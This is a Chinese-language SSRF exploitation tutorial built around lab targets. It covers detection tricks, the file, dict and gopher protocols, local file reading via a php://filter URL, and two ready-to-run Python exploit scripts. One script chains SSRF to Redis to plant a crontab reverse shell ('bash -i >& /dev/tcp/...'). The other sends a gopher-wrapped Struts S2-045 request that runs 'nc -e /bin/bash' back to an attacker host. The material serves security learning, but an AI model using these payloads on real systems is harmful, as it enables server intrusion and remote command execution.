一、判断漏洞是否存在
1.基本判断(排除法)
如:http://www.douban.com/***/service?image=http://www.baidu.com/img/bd_logo1.png
排除法一:直接右键图片,在新窗口打开图片,如果是浏览器上URL地址栏是http://www.baidu.com/img/bd_logo1.png,说明不存在SSRF漏洞。
排除法二:使用burpsuite等抓包工具来判断是否不是SSRF,首先SSRF是由服务端发起的请求,因此在加载图片的时候,是由服务端发起的,所以在我们本地浏览器的请求中就不应该存在图片的请求,如果刷新当前页面,有如下请求,则可判断不是SSRF。(前提设置burpsuite截断图片的请求,默认是放行的)
2.DNSLog 服务
生成一个域名(http://l08bgh.dnslog.cn)用于伪造请求,看漏洞服务器(ip)是否发起 DNS 解析请求,若成功访问在 http://DNSLog.cn 上就会有解析日志。
访问有ssrf漏洞的url:http://192.168.110.180/pikachu/vul/ssrf/ssrf_curl.php?url=bclrze.dnslog.cn
二、几个常用的协议
file协议 file://host/path/file.txt 访问读取本地文件
http协议 http://www.xxx.com 发起http请求
dict协议 dict://serverip:port/命令:参数 可以用于探测端口
gopher协议 URL:gopher://<host>:<port>/<gopher-path>_后接TCP数据流 可用于构造Http请求包
三、漏洞的危害
相关的危险函数:file_get_contents() fsockopen() curl_exec()
不同函数支持的协议不同
1、利用file协议和Php伪协议读取本地文件
http://192.168.110.180/pikachu/vul/ssrf/ssrf_fgc.php?file=php://filter/read=convert.base64-encode/resource=ssrf.php
http://192.168.110.180/pikachu/vul/ssrf/ssrf_curl.php?url=file://1.txt
2、dict协议
参考文章:https://zhuanlan.zhihu.com/p/115222529
dict://serverip:port/命令:参数
向服务器的端口请求为【命令:参数】,并在末尾自动补上\r\n(CRLF),为漏洞利用增添了便利
通过dict协议的话要一条一条的执行,而gopher协议执行一条命令就行了
对于如何探测内网ip和端口,我们可以通过burp爆破的方式进行判断
ssrf+redis 反弹shell脚本
#!/usr/bin/python
# -*- coding: UTF-8 -*-
import urllib2,urllib,binascii
url = "http://192.168.0.109/ssrf/base/curl_exec.php?url="
target = "dict://192.168.0.119:6379/"
cmds = ['set:mars:\\\\"\\n* * * * * root bash -i >& /dev/tcp/192.168.0.119/9999 0>&1\\n\\\\"',
"config:set:dir:/etc/",
"config:set:dbfilename:crontab",
"bgsave"]
for cmd in cmds:
cmd_encoder = ""
for single_char in cmd:
# 先转为ASCII
cmd_encoder += hex(ord(single_char)).replace("0x","")
cmd_encoder = binascii.a2b_hex(cmd_encoder)
cmd_encoder = urllib.quote(cmd_encoder,'utf-8')
payload = url + target + cmd_encoder
print payload
request = urllib2.Request(payload)
response = urllib2.urlopen(request).read()
3、gopher协议
参考文章:https://zhuanlan.zhihu.com/p/112055947
#!/usr/bin/python
# -*- coding: UTF-8 -*-
import urllib2,urllib
url = "http://192.168.0.109/ssrf/base/curl_exec.php?url="
header = """gopher://192.168.0.119:8080/_GET /S2-045/ HTTP/1.1
Host:192.168.0.119
Content-Type:"""
cmd = "nc -e /bin/bash 192.168.0.109 6666"
content_type = """自己填写(不要有换行)"""
header_encoder = ""
content_type_encoder = ""
content_type_encoder_2 = ""
url_char = [" "]
nr = "\r\n"
# 编码请求头
for single_char in header:
if single_char in url_char:
header_encoder += urllib.quote(urllib.quote(single_char,'utf-8'),'utf-8')
else:
header_encoder += single_char
header_encoder = header_encoder.replace("\n",urllib.quote(urllib.quote(nr,'utf-8'),'utf-8'))
# 编码content-type,第一次编码
for single_char in content_type:
# 先转为ASCII,在转十六进制即可变为URL编码
content_type_encoder += str(hex(ord(single_char)))
content_type_encoder = content_type_encoder.replace("0x","%") + urllib.quote(nr,'utf-8')
# 编码content-type,第二次编码
for single_char in content_type_encoder:
# 先转为ASCII,在转十六进制即可变为URL编码
content_type_encoder_2 += str(hex(ord(single_char)))
content_type_encoder_2 = content_type_encoder_2.replace("0x","%")
exp = url + header_encoder + content_type_encoder_2
print exp
request = urllib2.Request(exp)
response = urllib2.urlopen(request).read()
print response